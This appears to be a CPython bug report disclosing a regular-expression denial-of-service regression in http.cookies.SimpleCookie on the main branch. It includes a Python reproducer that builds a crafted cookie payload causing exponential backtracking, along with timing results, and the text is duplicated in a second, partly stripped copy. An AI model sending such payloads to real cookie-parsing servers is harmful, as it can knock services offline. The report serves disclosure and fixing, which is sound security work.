Bug report
Bug description:
The current version of http.cookies has a potential performance/security regression (seemingly introduced by #113663) and detected through fuzzing, where a bad cookie payload could significantly slow down request processing on a server relying on SimpleCookie (such as bottle here or tornado there). Such a cookie could be easily be crafted by a bad actor, leading to potential denial of service.
This branch on my fork proposes an alternative regular expression that does not seem to have the problem as well as a reproducer. When run (without the regex change), it clearly shows the problem:
$ ./python reproducer_cookie_redos.py
Timing SimpleCookie().load() with increasing payload size
units bytes time
1 18 0.0001s
2 36 0.0001s
3 54 0.0003s
4 72 0.0010s
5 90 0.0042s
6 108 0.0163s
7 126 0.0648s
8 144 0.2560s
9 162 1.0294s
10 180 4.1919s
11 198 16.6055s
For reference, the reproducer is
import sys
import time
import http.cookies
_UNIT = 'x="qu\\"qu\\\\"quot<' # raw: x="qu\"qu\\"quot<
def make_payload(units: int = 11) -> str:
"""Return a Cookie header value that causes ~4^units backtrack steps."""
return (" " + _UNIT) * units
print("Timing SimpleCookie.load with increasing payload size")
print(f" {'units':>5} {'bytes':>6} {'time':>10}")
for n in range(1, 14):
payload = make_payload(n)
start = time.perf_counter()
http.cookies.SimpleCookie().load(payload)
elapsed = time.perf_counter() - start
print(f" {n:>5} {len(payload):>6} {elapsed:>10.4f}s")
if elapsed > 10:
print(" (stopping)")
break
Keep in mind the alternative regex was LLM-generated, and it is complex enough that it is hard for me to validate its correctness -- it does make the reproducer happy though. I do not think this should necessarily be merged as-is, I mainly want to report the potential security issue.
Note I did not report this as a security issue because the original PR went out in August 2025; 3.14 was already in beta and so only the unreleased version of Python is affected. I downloaded and built 3.14 manually to make sure, and 3.14 is not affected by this regression.
The PSRT does not accept reports that only affect pre-release versions of software, as these features are considered "in-development", please open public issues. (source)
CPython versions tested on:
CPython main branch
Operating systems tested on:
Linux
Bug report
Bug description:
The current version of
http.cookieshas a potential performance/security regression (seemingly introduced by #113663) and detected through fuzzing, where a bad cookie payload could significantly slow down request processing on a server relying onSimpleCookie(such asbottlehere ortornadothere). Such a cookie could be easily be crafted by a bad actor, leading to potential denial of service.This branch on my fork proposes an alternative regular expression that does not seem to have the problem as well as a reproducer. When run (without the regex change), it clearly shows the problem:
For reference, the reproducer is
Keep in mind the alternative regex was LLM-generated, and it is complex enough that it is hard for me to validate its correctness -- it does make the reproducer happy though. I do not think this should necessarily be merged as-is, I mainly want to report the potential security issue.
Note I did not report this as a security issue because the original PR went out in August 2025; 3.14 was already in beta and so only the unreleased version of Python is affected. I downloaded and built 3.14 manually to make sure, and 3.14 is not affected by this regression.
CPython versions tested on:
CPython main branch
Operating systems tested on:
Linux